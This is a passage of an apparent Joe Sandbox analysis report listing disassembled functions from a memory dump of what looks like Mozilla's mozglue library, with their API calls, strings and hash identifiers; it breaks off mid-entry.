moz_xmalloc.MOZGLUE(00000018,?,6C4FBDF7), ref: 6C53A7E4
LeaveCriticalSection.KERNEL32(6C55F770), ref: 6C53A80A

Strings

accelerator.dll, xrefs: 6C53A7BF

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 73a03d1cada873826aeeac8464a7060d1fb057c042669e84e2df763f3f096922
Instruction ID: 956dd84789e32b0ffdd92004aa83c49fec7b2ee7a6c631b5437086f001d161c4
Opcode Fuzzy Hash: 73a03d1cada873826aeeac8464a7060d1fb057c042669e84e2df763f3f096922
Instruction Fuzzy Hash: FE018FB07102149F9F08DF99DCC8D157BB8FB89315746816AE8098B712EB70A804CBA0

Function 6C5375B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C53748B,?), ref: 6C5375B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C5375D7
FreeLibrary.KERNEL32(?,6C53748B,?), ref: 6C5375EC

Strings

ntdll.dll, xrefs: 6C5375B3
RtlNtStatusToDosError, xrefs: 6C5375D1

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 0591734234b9636b575dc3b460abbd0a39adf2978f23c62c763fcd7cb99cd6f0
Instruction ID: 5c0adc82cc7fb5d61c908dcc04c6610cd1c320c0ffd6f0d6c1283ca33d4bdd10
Opcode Fuzzy Hash: 0591734234b9636b575dc3b460abbd0a39adf2978f23c62c763fcd7cb99cd6f0
Instruction Fuzzy Hash: D1E0B671710301EFEF007FA2DD4C7027BF8EB46258FA65226A905D1681EBB09051CF29

Function 6C537600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C537592), ref: 6C537608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C537627
FreeLibrary.KERNEL32(?,6C537592), ref: 6C53763C

Strings

ntdll.dll, xrefs: 6C537603
NtUnmapViewOfSection, xrefs: 6C537621

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 689d0396a03adb365fc68e4c82f4d5da44cb7cd0db16549499e602e002051000
Instruction ID: 65755b56d8076022622ef2144bc2363b8c78fbb82b7a2d1137df784a73eb584c
Opcode Fuzzy Hash: 689d0396a03adb365fc68e4c82f4d5da44cb7cd0db16549499e602e002051000
Instruction Fuzzy Hash: 87E092B0720301AFDF007FA69D087057EB8E71A299F965616E90AD2640E7B090248B1C

Function 6C53BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C53BE49), ref: 6C53BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C53BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C53BE49), ref: 6C53BF38
RtlReAllocateHeap.NTDLL ref: 6C53BF83
RtlFreeHeap.NTDLL(6C53BE49,00000000), ref: 6C53BFA6

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 49f2e804c9a3c3510427b04419429b6f48285eec17057b2fc14f1da88446e777
Instruction ID: 16717d4d26202d81825212bbf97547d6f3c62856ff5a428a738352c0b5662417
Opcode Fuzzy Hash: 49f2e804c9a3c3510427b04419429b6f48285eec17057b2fc14f1da88446e777
Instruction Fuzzy Hash: BC518271A006258FE714DF69CD80BAAB3B2FFC4314F299639D559A7B54E730F9068B80

Function 6C528E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528EBF
free.MOZGLUE(?,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528F46
free.MOZGLUE(?,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F8F

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ae4689400f638478001d750831dcfa78db33ddcab68d55cf51ed245413c9b6e1
Instruction ID: 689a4831a66a16739716efcfa1301aee204cfb39536d50dacfa37d597805b0be
Opcode Fuzzy Hash: ae4689400f638478001d750831dcfa78db33ddcab68d55cf51ed245413c9b6e1
Instruction Fuzzy Hash: 0E5182B2A012168FEB24CF94DC8076E77F2BF49318F19056AD516AB780E735F905CB92

Function 6C5227E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52289A
free.MOZGLUE(?,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C5228F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C522910
free.MOZGLUE(00000001,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52294E

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 854ae2860b35099ca0660c5113bdb02f875f9db9dee288bffbc5e8cc7a818ed1
Instruction ID: ff546cb7c17d99d39c1e779d3c30acaf1836bba3a5a8869d0ec7b1e7d1ee94d5
Opcode Fuzzy Hash: 854ae2860b35099ca0660c5113bdb02f875f9db9dee288bffbc5e8cc7a818ed1
Instruction Fuzzy Hash: F64110B9A103068FEB10CF68DC8476A73F6EB45328F244938D516EBB80E735E944CB91

Function 6C4DCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C4DD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C4DD139

Strings

MOZ_CRASH(), xrefs: 6C4DD187

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: a8530aee0ecf05ab37803339d358a7b0c174935a6dd3c74c6a865975fe689a33
Instruction ID: 167fc80a2b7b8d8a0cf475c139beeca8e33e8583a2c0ead3419f0f7a7ec106c7
Opcode Fuzzy Hash: a8530aee0ecf05ab37803339d358a7b0c174935a6dd3c74c6a865975fe689a33
Instruction Fuzzy Hash: BB41E331B113164FCF05DE7C8CA5B6A76B0EB4A714F560239E918E7784D7B5AC018BE8

Function 6C4D4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4D4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C4D4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C4D4F1E

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 79be8b84f523bb00a539d6a22d893c0a94f5286d4889ef339491120aab50b3f7
Instruction ID: 6ca62c44d9a54dcdcd9a6c2cf76d8dc2991148e088ad49d06825426de5a3f70d
Opcode Fuzzy Hash: 79be8b84f523bb00a539d6a22d893c0a94f5286d4889ef339491120aab50b3f7
Instruction Fuzzy Hash: 8541BC71604702AFC701DF68C890E5BBBE4BF89394F119A2DE46587750DB30F918CB82

Function 6C4E1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E15E7
free.MOZGLUE(?,?,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E1637

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 89178945ccdb95cce6f92f6ac981c79c4081e0fa3befeaf35fa0f78a8ccb0c0f
Instruction ID: 147563ab42d7d810016601a66d8af2efe10790fe18d82ee7b111d20eaff458b0
Opcode Fuzzy Hash: 89178945ccdb95cce6f92f6ac981c79c4081e0fa3befeaf35fa0f78a8ccb0c0f
Instruction Fuzzy Hash: 2631D8B1A401148BC714CF78D850C6E77A5BF893757260B2DE827DBBD5EB30D9058791

Function 6C53AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AD9D

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE01
GetLastError.KERNEL32(?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE3D

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: b8fc79826dd599147d36e533bb7ec83ffc30963bf8c984e8444590e27ab6b040
Instruction ID: 1490efe5bec77162608f5c918cde4a67f56791fff20e090490494ed7465df80b
Opcode Fuzzy Hash: b8fc79826dd599147d36e533bb7ec83ffc30963bf8c984e8444590e27ab6b040
Instruction Fuzzy Hash: 473124B1A002159FDB14DF758C44AABBBF8EF89614F55882DE85AD7740F734E804CBA4

Function 6C535EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C54DCA0,?,?,?,6C50E8B5,00000000), ref: 6C535F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C50E8B5,00000000), ref: 6C535F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C50E8B5,00000000), ref: 6C535F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C50E8B5,00000000), ref: 6C535F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C50E8B5,00000000), ref: 6C535FD6

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 85d2d30e23950c8811fd6df85be146e47501947b56bfda0660b11a581d07ddd4
Instruction ID: 7261b9bff629a9c8534f5cc04bd19db76d78ac71bd9b67131b90046aadc4df71
Opcode Fuzzy Hash: 85d2d30e23950c8811fd6df85be146e47501947b56bfda0660b11a581d07ddd4
Instruction Fuzzy Hash: 68312C743006108FD710DF29CC98E2AB7F5FF89319BA55958E55A8BB95D731EC41CB80

Function 6C4DB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C4DB532
moz_xmalloc.MOZGLUE(?), ref: 6C4DB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4DB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C4DB57E
free.MOZGLUE(00000000), ref: 6C4DB58F

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: adfc314428b18446954bb1dd00085fa279bfb14aebb25f619c14077f513cbfe0
Instruction ID: 9369abe9ecd888a5930ec6c38a3ce61d1f7f6ee54443c3cb7dce2a429d8150c1
Opcode Fuzzy Hash: adfc314428b18446954bb1dd00085fa279bfb14aebb25f619c14077f513cbfe0
Instruction Fuzzy Hash: 8B21F671A002059BDB00DF69CC60FAABBB9FF86318F694129E818DB351E775E911C7A0

Function 6C4DB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C4DB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4DB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4DB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4DB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4DB849

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 1ceef31660933779142842c52b8052ad6a353c57018cd9783fb629aac3a9da05
Instruction ID: 26be5c8073228ef7914faf322d923ae4efae2f1e97021fc997c77c83228a3300
Opcode Fuzzy Hash: 1ceef31660933779142842c52b8052ad6a353c57018cd9783fb629aac3a9da05
Instruction Fuzzy Hash: 892130B0E002099FDF04DFA9C8959FEBBB4EF49314F158129EC05A7741E731A944CBA5

Function 6C536E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C536E78

Part of subcall function 6C536A10: InitializeCriticalSection.KERNEL32(6C55F618), ref: 6C536A68
Part of subcall function 6C536A10: GetCurrentProcess.KERNEL32 ref: 6C536A7D
Part of subcall function 6C536A10: GetCurrentProcess.KERNEL32 ref: 6C536AA1
Part of subcall function 6C536A10: EnterCriticalSection.KERNEL32(6C55F618), ref: 6C536AAE
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C536AE1
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C536B15
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C536B65
Part of subcall function 6C536A10: LeaveCriticalSection.KERNEL32(6C55F618,?,?), ref: 6C536B83

MozFormatCodeAddress.MOZGLUE ref: 6C536EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C536EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C536EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C536EFF

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 4529044e0040e3b721adbae0f106f72961507b7c483dfc7e3e22475d3cd1c02e
Instruction ID: 06ba941a4968cbf5ad06a6d2f821e439555bcfb823db5b79d2c1c075e74d714a
Opcode Fuzzy Hash: 4529044e0040e3b721adbae0f106f72961507b7c483dfc7e3e22475d3cd1c02e
Instruction Fuzzy Hash: DA219071A0431A9FDB00DF69DC8569A77F5FF84308F44403DE80D97241EB759A588F92

Function 6C510D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C4D3DEF), ref: 6C510D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C4D3DEF), ref: 6C510D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C4D3DEF), ref: 6C510DAF

Strings

<jemalloc>, xrefs: 6C510D92, 6C510DB9
: (malloc) Error in VirtualFree(), xrefs: 6C510D97, 6C510DBE

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: ba0803c4d3940ed8c7ee10569d3cc76f829c54f2aea849b7eb073d2e365f8b2d
Instruction ID: 967d770c1b66a1f68ade8b4919b9e8c167296d65be118afdd568406cbdd4c79f
Opcode Fuzzy Hash: ba0803c4d3940ed8c7ee10569d3cc76f829c54f2aea849b7eb073d2e365f8b2d
Instruction Fuzzy Hash: ACF0E97139829423FA2025660C0EB9B26AD6BC2B24F754137F204DADC0DB60E83086A8

Function 6C535850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C53586C
CloseHandle.KERNEL32 ref: 6C535878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C535898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5358C9
free.MOZGLUE(00000000), ref: 6C5358D3

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 47dde26c12a91aed2ef44e6116d60716c11412156b225f495b952183842fe124
Instruction ID: 8e31c0e56f009f81385ea02978747a1b8922f89518279439536191aed31bea0e
